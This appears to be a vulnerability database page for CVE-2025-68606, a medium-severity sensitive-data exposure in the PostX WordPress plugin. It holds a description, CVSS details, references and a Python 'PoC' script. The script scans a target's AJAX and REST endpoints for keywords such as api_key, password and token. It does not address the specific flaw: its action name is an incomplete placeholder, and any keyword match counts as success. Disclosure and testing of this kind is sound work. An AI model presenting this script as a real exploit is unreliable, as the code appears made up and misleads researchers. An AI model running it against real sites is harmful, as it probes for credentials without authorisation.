CVE-2025-68606

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in WPXPO PostX ultimate-post allows Retrieve Embedded Sensitive Data.This issue affects PostX: from n/a through <= 5.0.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WPXPO PostX Ultimate Post <= 5.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68606 PoC - PostX Plugin Sensitive Information Disclosure
# Target: WordPress site with PostX plugin <= 5.0.3

import requests
import sys

def check_vulnerability(target_url):
    """
    Check if target is vulnerable to CVE-2025-68606
    """
    # Common PostX AJAX endpoints that might leak information
    endpoints = [
        '/wp-admin/admin-ajax.php',
        '/wp-json/postx/v1/',
        '/?rest_route=/postx/v1/',
    ]
    
    # Sensitive data patterns to look for
    sensitive_patterns = [
        'api_key',
        'secret',
        'password',
        'token',
        'credential',
        'db_',
        'wp_config',
    ]
    
    print(f'[*] Testing target: {target_url}')
    print(f'[*] CVE-2025-68606 - PostX Plugin Information Disclosure')
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        
        # Try to trigger data retrieval via PostX
        params = {
            'action': 'postx_get_',  # Common PostX AJAX actions
        }
        
        try:
            response = requests.get(url, params=params, timeout=10, verify=False)
            
            if response.status_code == 200:
                content = response.text.lower()
                for pattern in sensitive_patterns:
                    if pattern in content:
                        print(f'[+] POTENTIAL VULNERABILITY FOUND at {url}')
                        print(f'[+] Sensitive pattern detected: {pattern}')
                        return True
                        
        except requests.exceptions.RequestException as e:
            print(f'[-] Error testing {url}: {e}')
    
    print('[*] No obvious vulnerability indicators found')
    print('[*] Manual verification recommended')
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2025-68606_poc.py <target_url>')
        print('Example: python cve-2025-68606_poc.py http://example.com')
        sys.exit(1)
    
    target = sys.argv[1]
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68606
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68606
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68606/
[4] VulDB https://vuldb.com/cve/CVE-2025-68606
[5] https://patchstack.com/database/Wordpress/Plugin/ultimate-post/vulnerability/wordpress-postx-plugin-5-0-3-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

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